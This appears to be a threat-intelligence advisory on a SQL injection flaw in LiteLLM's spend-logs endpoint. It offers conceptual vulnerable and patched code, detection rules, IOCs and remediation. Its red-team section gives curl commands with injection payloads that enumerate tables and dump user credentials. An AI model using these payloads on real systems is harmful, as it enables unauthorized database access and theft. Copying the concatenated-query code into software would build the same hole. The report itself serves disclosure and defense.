CVE-2024-5225

Executive Summary

CVE-2024-5225 is a critical SQL Injection vulnerability discovered in the berriai/litellm repository, specifically within the /global/spend/logs API endpoint. The vulnerability stems from improper neutralization of special elements used in an SQL command. The affected code constructs an SQL query by concatenating an unvalidated api_key parameter directly into the query, making it susceptible to SQL Injection if the api_key contains malicious data. This issue affects the latest version of the repository. Successful exploitation could lead to unauthorized access, data manipulation, exposure of confidential information, and denial of service (DoS). The CVSS score is 6.4 (Medium), but the potential impact on confidentiality and integrity is high.

Supply Chain & Package Security

This vulnerability affects the berriai/litellm Python package, which is distributed via PyPI. Organizations using this package in their supply chain are at risk. The lack of a patch status (UNKNOWN) means that all versions of the package are potentially vulnerable. Immediate action is required to mitigate the risk.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) - An attacker needs a valid API key to access the endpoint, but the key itself is not validated for injection.
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H) - Successful injection can lead to full database disclosure.
• Integrity Impact: Low (I:L) - Data can be modified.
• Availability Impact: Low (A:L) - DoS is possible.

Threat Level: High. Although the CVSS score is Medium, the ease of exploitation and the potential for data exfiltration make this a high-priority threat.

Deep Dive & Mechanics

The vulnerability exists in the /global/spend/logs endpoint of the LiteLLM application. The endpoint is designed to retrieve spending logs based on an api_key parameter. The vulnerable code constructs an SQL query by directly concatenating the user-supplied api_key value into the query string without proper sanitization or parameterization.

Vulnerable Code Snippet (Conceptual):

# Vulnerable code in litellm
api_key = request.args.get('api_key')
query = f"SELECT * FROM spend_logs WHERE api_key = '{api_key}'"
cursor.execute(query)

An attacker can inject SQL commands by providing a malicious api_key value. For example:

api_key = ' OR '1'='1

This would result in the following SQL query:

SELECT * FROM spend_logs WHERE api_key = '' OR '1'='1'

This would return all rows from the spend_logs table, bypassing authentication and exposing sensitive data.

Attack Vector:

1. The attacker identifies a LiteLLM instance with the /global/spend/logs endpoint exposed.
2. The attacker obtains or guesses a valid API key (or uses a low-privilege key).
3. The attacker sends a crafted request with a malicious api_key parameter.
4. The server executes the injected SQL query, returning unauthorized data or allowing further exploitation.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Vulnerable: Direct string concatenation
api_key = request.args.get('api_key')
query = f"SELECT * FROM spend_logs WHERE api_key = '{api_key}'"
cursor.execute(query)

Patched Code (Conceptual):

# Patched: Parameterized query
api_key = request.args.get('api_key')
query = "SELECT * FROM spend_logs WHERE api_key = %s"
cursor.execute(query, (api_key,))

The patched version uses parameterized queries, which ensure that the api_key value is treated as data, not as executable SQL code. This prevents SQL injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running instance of LiteLLM (latest version).
• A valid API key (can be low-privilege).
• Network access to the /global/spend/logs endpoint.

Exploitation Steps:

1. Identify the endpoint:

   curl -X GET "http://target:8000/global/spend/logs?api_key=test"
   

2. Test for SQL Injection:

   curl -X GET "http://target:8000/global/spend/logs?api_key=' OR '1'='1"
   

3. Extract data (e.g., list tables):

   curl -X GET "http://target:8000/global/spend/logs?api_key=' UNION SELECT table_name, NULL, NULL, NULL FROM information_schema.tables--"
   

4. Dump sensitive data:

   curl -X GET "http://target:8000/global/spend/logs?api_key=' UNION SELECT username, password, email, NULL FROM users--"
   

Note: The exact payloads depend on the database backend (e.g., SQLite, PostgreSQL, MySQL). The above examples assume a MySQL-like syntax.

Blue Team (Detection & Response)

Detection Steps:

1. Monitor API logs: Look for unusual patterns in the api_key parameter, such as single quotes ('), SQL keywords (UNION, SELECT, OR), or URL-encoded characters (%27).
2. Web Application Firewall (WAF): Deploy WAF rules to block SQL injection patterns.
3. Database Activity Monitoring: Monitor for anomalous SQL queries that deviate from expected patterns.

Response Steps:

1. Immediately isolate the affected server.
2. Review database logs for unauthorized access.
3. Rotate all API keys and database credentials.
4. Apply the patch (parameterized queries) as soon as it becomes available.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /global/spend/logs with api_key parameter containing SQL injection patterns (e.g., ' OR '1'='1, UNION SELECT, --).
  • Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").

• Host IOCs:

  • Unexpected database queries in application logs.
  • Unauthorized database connections from the application server.

• File IOCs:

  • Modified application code (if the attacker gained write access).

Detection Engineering

YARA Rule

rule CVE_2024_5225_SQLi_LiteLLM {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-5225 in LiteLLM"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-5225"
    strings:
        $s1 = "/global/spend/logs" ascii wide nocase
        $s2 = "api_key=" ascii wide nocase
        $sqli1 = /api_key=.*['\"]\s*(OR|AND)\s+['\"]/ ascii wide nocase
        $sqli2 = /api_key=.*UNION\s+SELECT/ ascii wide nocase
        $sqli3 = /api_key=.*--/ ascii wide nocase
    condition:
        all of ($s1, $s2) and any of ($sqli1, $sqli2, $sqli3)
}

Sigma Rule

title: SQL Injection Attempt Against LiteLLM /global/spend/logs
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting CVE-2024-5225 in LiteLLM
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5225
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: "/global/spend/logs"
    keywords:
        - "api_key=' OR '1'='1"
        - "api_key=UNION SELECT"
        - "api_key=--"
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in API keys (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-5225 SQL Injection Attempt Against LiteLLM /global/spend/logs"; flow:to_server,established; content:"/global/spend/logs"; http_uri; content:"api_key="; http_uri; pcre:"/api_key=.*['\"]\s*(OR|AND)\s+['\"]/Ui"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the /global/spend/logs endpoint if not required.
2. Implement input validation for the api_key parameter (e.g., allow only alphanumeric characters).
3. Use a Web Application Firewall (WAF) to block SQL injection patterns.
4. Monitor logs for exploitation attempts.

Long-Term Fix:

1. Apply parameterized queries in the application code (see patched code example).
2. Update to the latest patched version of berriai/litellm once available.
3. Conduct a security audit of the entire codebase for similar vulnerabilities.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence Division. For questions or further analysis, contact threatintel@valters.it.